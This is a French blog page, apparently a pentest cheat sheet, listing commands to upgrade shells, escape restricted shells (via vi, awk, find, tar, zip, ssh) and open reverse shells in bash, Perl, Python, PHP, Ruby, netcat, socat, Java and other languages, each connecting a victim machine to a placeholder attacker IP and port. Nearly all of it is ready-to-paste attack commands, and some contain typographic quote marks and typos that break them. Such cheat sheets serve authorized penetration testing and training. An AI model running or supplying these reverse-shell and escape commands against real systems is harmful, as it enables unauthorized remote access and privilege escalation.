SHELLS

Ici nous allons lister des commandes permettants une élévation de privilège en une ligne, très utiles quand l’utilisateur a la possibilité d’exécuter des commande en mode superadmin (cf. Énumération.c) :

1. Upgrade son shell

Souvent quand vous arriverez à établir une connexion et avoir la main sur un shell, vous serez restrains par le shell lui même, voilà quelques commandes qui vous permettront dans certains cas d’avoir un meilleur shell et donc d’avoir plus de possibilitées : 

Astuce :  Il faut impérativement que l’utilisateur puisse exécuter /bin/bash ou du python. 

Vous pouvez tester une de ces 3 commandes :

echo && ‘bash’

python -c ‘import pty;pty.spawn(« /bin/bash »)’ 

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’ 
#Changez le Port et l'IP de la victime

Astuce2 :  Avec la dernière commande il est possible d’ouvrir un listener Netcat pour récupérer le shell : nc -lnvp <port> êt attention a ne pas oublier le sudo lors de l excution

2. Evading restricted shell

Dans cette partie nous allons essayer de bypass un shell restreint. A ne pas confondre avec la partie juste avant qui n’est juste qu’un shell avec “une mauvaise mise en forme”. Dans cette rubrique nous allons voir l’évasion d’un shell qui restreint vos commandes : 

2.1 Utiliser VIM :

Vous pouvez utiliser l’éditeur de texte vim pour bypass un shell restreint. :

vi
#Appuyer sur la touch echap (ESC)
:!/bin/bash 

Astuce :  Dans le cas ou cela ne fonctionnerait pas, quitter VIM en tapant  “ESC” puis “:q” ou “:q!” pour quitter sans sauvegarder.

2.2 Vérifier le PATH et l’utiliser : 

echo $PATH 
export PATH=/bin:/usr/bin:$PATH
echo $PATH 

2.3 Techniques courantes

Si vous pouvez exécuter la commande cp :
 cp /bin/bash .

Depuis ftp :

!/bin/sh ou !/bin/bash 

Depuis gdb :

> !/bin/sh ou !/bin/bash 

Depuis more/man/less :

>!/bin/sh ou !/bin/bash

Depuis vim :

> !/bin/sh ou !/bin/bash 

Depuis rvim :

> :python import os ; os. system("/bin/bash ) 

Depuis scp :

> scp -S /path/yourscript x y: 

Depuis awk :

> awk 'BEGIN {system("/bin/sh ou /bin/bash")}' 

Depuis find :

> find / -name test -exec /bin/shor /bin/bash \ ;

2.5 Techniques Avancés

Depuis ssh :
ssh username@IP -t "/bin/sh" or "/bin/bash"

Depuis ssh2 :
sh username@IP -t "bash --noprofile"

Depuis ssh3 :
ssh username@IP -t "() { :; }; /bin/bash" 

Depuis git :
git help status > puis !/bin/bash

Depuis pico :
pico -s "/bin/bash" vous pouvez ensuite écrire /bin/bash puis appuyer sur CTRL + T

Depuis zip :
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"

Depuis tar :
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

3. Reverse Shell One Liner

Voici une liste de commandes à executer pour avoir un reverse shell en une ligne et dans de multiple language : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/

1. Bash

Certaines versions de Bash permettent de transmettre un reverse-shell via « /dev/tcp/ » ou « /dev/udp/ » (version compilée avec le drapeau « –enable-net-redirections »).

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196


2. TCLsh

Version one-line :

echo ‘set s [socket <IP> <PORT>];while 42 { puts -nonewline $s « shell> »;flush $s;gets $s c;set e « exec $c »;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

3. MySQL

sudo mysql -e ‘\! /bin/sh’

4. Perl

perl -e ‘use Socket;$i= »<IP> »;$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname(« tcp »));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, »>&S »);open(STDOUT, »>&S »);open(STDERR, »>&S »);exec(« /bin/sh -i »);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, »<IP>:<PORT> »);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
perl -MIO -e « $c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>’);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; »

5. Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’

6. PHP

php -r ‘$s=fsockopen(« <IP> »,<PORT>);exec(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);shell_exec(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);system(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);popen(« /bin/sh -i <&3 >&3 2>&3 », « r »);’

7. Ruby

ruby -rsocket -e’f=TCPSocket.open(« <IP> »,<PORT>).to_i;exec sprintf(« /bin/sh -i <&%d >&%d 2>&%d »,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(« <IP> », »<PORT> »);while(cmd=c.gets);IO.popen(cmd, »r »){|io|c.print io.read}end’

Pour windows :

ruby -rsocket -e « c=TCPSocket.new(‘<IP>’,'<PORT>’);while(cmd=c.gets);IO.popen(cmd,’r’){|io|c.print io.read}end »

8. Netcat

nc <IP> <PORT> -e /bin/bash
/bin/nc <IP> <PORT> -c /bin/bash

9. MKFIFO/MKNOD

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x
rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x

10. Telnet

telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>

11. Socat

socat tcp-connect:<IP>:<PORT> exec: »bash -li »,pty,stderr,setsid,sigint,sane

12. Java

r = Runtime.getRuntime()
p = r.exec([« /bin/bash », »-c », »exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done »] as String[])
p.waitFor()

14. (G)awk

Pour une exécution « one-line » en utilisant « awk » développée par ASafety (ou sa variante GNU Gawk) :

awk ‘BEGIN {s = « /inet/tcp/0/<IP>/<PORT> »; while(42) { do{ printf « shell> » |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != « exit ») close(s); }}’ /dev/null

15. Nginx

sudo service nginx start
netstat -antp 

Aller voir les fichier conf de nginx et voir quel logiciel on peut utiliser.

Dans mon cas c’était Lynx, je télécharge Lynx sur ma machine attaquante et on tape :

lynx <Ip_Victime>:<PORT>

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s